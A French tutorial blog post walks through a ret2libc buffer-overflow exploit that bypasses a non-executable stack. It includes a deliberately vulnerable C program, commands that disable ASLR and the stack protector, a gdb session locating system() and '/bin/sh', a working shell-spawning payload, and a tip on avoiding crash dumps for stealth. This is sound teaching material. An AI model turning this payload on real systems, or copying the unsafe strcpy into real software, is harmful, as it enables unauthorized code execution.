Nous allons de nouveau nous pencher sur l’exploitation d’un buffer overflow mais cette fois ci, nous corserons un tantinet les choses : le bit NX sera activé. Il s’agit d’une protection privant certaines zones mémoires, dont la pile, du droit d’exécution. On peut donc dire au revoir à notre shellcode (snif :’( ) car on ne pourra plus l’exécuter, cependant nous allons ruser et utiliser une autre technique nous permettant d’arriver à nos fins : obtenir un shell. Cette technique porte le doux nom de « return to libc » qu’on abrège souvent par « ret2libc ».
La libc, c’est la bibliothèque standard du C. Grosso modo, c’est elle qui contient les fonctions que vous utilisez couramment en langage C telles que printf, scanf ou encore strcpy (vade retro satanas !). Eh bien, une attaque « return to libc » consiste à écraser l’adresse de retour pour la renvoyer sur une fonction de la bibliothèque standard du C, qui se doit d’être exécutable, et parmi toutes ces fonctions, une va nous être particulièrement utile : [system()](http://man7.org/linux/man-pages/man3/system.3.html “”) ! Si nous sautons sur cette fonction et que nous lui passons les paramètres nécessaires à son bon fonctionnement, elle fera son boulot sans broncher et nous aurons notre shell ! :D
Lors d’un call à la fonction system(), celle-ci a besoin de deux arguments : une adresse de retour qui servira une fois qu’elle sera terminée et surtout la commande qu’elle doit exécuter.
Le payload va ressembler à ce schéma.
+-------------+ |
| EIP | | <-- Adresse de la fonction system()
+-------------+ |
| Adresse | |
| de retour | | <-- Adresse de retour
+-------------+ |
| Commande | | <-- Commande à exécuter (souvent /bin/sh)
+-------------+ \ /
Pour l’argument de l’adresse de retour, on peut mettre n’importe quoi mais cela provoquera probablement un crash du programme après l’exécution de la fonction system(). On essaye donc par habitude d’y indiquer l’adresse de la fonction exit() afin de quitter « proprement » mais ça n’est pas une obligation.
Reprenons le programme que nous avions utilisé pour l’exemple précédent.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void name(char*);
void name(char *f)
{
char firstname[10];
strcpy(firstname, f);
printf("Votre prenom est %s\n", firstname);
}
int main(int argc, char *argv[])
{
if(argc != 2)
{
exit(0);
}
name(argv[1]);
return 0;
}
Enlevons la randomisation des adresses.
# echo 0 > /proc/sys/kernel/randomize_va_space
Ensuite, compilons en enlevant toujours la protection du canary avec l’option -fno-stack-protector mais précisons cette fois-ci que la pile ne doit pas être exécutable. Ma version de gcc le fait par défaut si je ne précise pas l’argument mais vous pouvez forcer cette protection en précisant l’option -z noexecstack.
$ gcc -m32 -fno-stack-protector -z noexecstack bypassnx.c -o bypassnx
Pour vérifier que la pile n’est pas exécutable, nous pouvons lancer cette commande.
$ readelf -l ./bypassnx | grep "STACK"
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10
On remarque que l’avant-dernière colonne contient un flag R pour « READ », W pour « WRITE » mais pas de flag E (pour « EXECUTE »).
Pour l’exploitation nous avons besoin de connaître deux choses :
La première se trouve assez facilement avec gdb. Il suffit de placer un breakpoint, lancer le programme (ce qui chargera la librairie en mémoire) et de demander son adresse.
$ gdb -q ./bypassnx
Reading symbols from ./bypassnx...(no debugging symbols found)...done.
gdb-peda$ b *main
Breakpoint 1 at 0x8048489
gdb-peda$ r AAAA
Starting program: bypassnx AAAA
[----------------------------------registers-----------------------------------]
EAX: 0x2
EBX: 0xf7fa8000 --> 0x1a8da8
ECX: 0x5aa19f9d
EDX: 0xffffd7f4 --> 0xf7fa8000 --> 0x1a8da8
ESI: 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xffffd7cc --> 0xf7e18a63 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
EIP: 0x8048489 (<main>: lea ecx,[esp+0x4])
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048484 <name+41>: add esp,0x10
0x8048487 <name+44>: leave
0x8048488 <name+45>: ret
=> 0x8048489 <main>: lea ecx,[esp+0x4]
0x804848d <main+4>: and esp,0xfffffff0
0x8048490 <main+7>: push DWORD PTR [ecx-0x4]
0x8048493 <main+10>: push ebp
0x8048494 <main+11>: mov ebp,esp
[------------------------------------stack-------------------------------------]
0000| 0xffffd7cc --> 0xf7e18a63 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
0004| 0xffffd7d0 --> 0x2
0008| 0xffffd7d4 --> 0xffffd864 --> 0xffffd9f1 ("./bypassnx")
0012| 0xffffd7d8 --> 0xffffd870 --> 0xffffda19 ("LANGUAGE=fr_BE:fr")
0016| 0xffffd7dc --> 0xf7feb79a (add ebx,0x11866)
0020| 0xffffd7e0 --> 0x2
0024| 0xffffd7e4 --> 0xffffd864 --> 0xffffd9f1 ("./bypassnx")
0028| 0xffffd7e8 --> 0xffffd804 --> 0x661a7b8d
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048489 in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e3d3e0 <system>
gdb-peda$
Eh voilà ! Notre fonction system() se trouve à l’adresse 0xf7e3d3e0.
Il ne nous reste plus que l’adresse de notre commande, dans notre cas « /bin/sh ». Pour ça, il y a plusieurs manières de faire : en plaçant la commande dans une variable d’environnement, en cherchant dans la mémoire du programme afin de voir si la chaîne s’y trouve etc.
La seconde option est assez rapide avec gdb + peda, il nous suffit d’entrer cette commande (le breakpoint placé auparavant est toujours actif).
gdb-peda$ searchmem "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f5e771 ("/bin/sh")
Voilà, nous avons toute les informations pour mener à bien cette exploitation ! :)
./bypassnx $(python -c 'print "A"*22 + "\xe0\xd3\xe3\xf7" + "HACK" + "\x71\xe7\xf5\xf7"')
Votre prenom est AAAAAAAAAAAAAAAAAAAAAA����HACKq���
$
C’est pour qui le beau shell, c’est pour qui ? :D
Lorsque vous quitterez, le shell, vous obtiendrez une erreur de segmentation car le programme essayera de retourner à l’adresse « HACK ». Ce n’est pas spécialement un problème en soi mais si le programme fait un dump en cas de crash, ça peut être un peu embêtant pour la discrétion. Pour ne pas obtenir d’erreur, il faut remplacer « HACK » par l’adresse de la fonction exit(), ce qui permettra de quitter le programme de manière « propre ».
Nous venons d’aborder une des protections mises en place contre les buffer overflow et comme nous avons pu le constater, en faisant preuve ingéniosité, il est possible de contourner ces protections.